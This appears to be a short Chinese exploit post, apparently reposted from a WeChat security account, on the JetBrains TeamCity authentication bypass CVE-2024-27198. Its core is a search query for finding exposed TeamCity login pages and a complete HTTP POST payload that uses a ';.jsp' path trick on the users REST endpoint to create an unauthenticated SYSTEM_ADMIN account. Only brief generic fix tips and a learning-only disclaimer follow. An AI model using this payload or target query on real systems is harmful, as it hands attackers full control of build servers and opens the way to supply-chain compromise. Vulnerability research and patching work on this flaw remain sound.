扫码领资料
获网安教程
【产品&&漏洞简述】
JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付（CI/CD）服务器。
JetBrains TeamCity发布新版本修复了两个高危漏洞JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)与JetBrains TeamCity 路径遍历漏洞(CVE-2024-27199)。未经身份验证的远程攻击者利用CVE-2024-27198可以绕过系统身份验证，创建管理员账户，完全控制所有TeamCity项目、构建、代理和构件，为攻击者执行供应链攻击。远程攻击者利用该漏洞能够绕过身份认证在系统上执行任意代码。
【资产测绘Query】
body="Log in to TeamCity"
【产品界面】
【Payload】
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
{"username": "用户名", "password": "密码", "email": "[email protected]", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
Nuclei Poc已成功验证 ：
【修复建议】
1、请联系厂商进行修复。
2、如非必要，禁止公网访问该系统。
3、设置白名单访问。
声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。
原文始发于微信公众号（白帽子左一）：JetBrains身份验证绕过(CVE-2024-27198)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论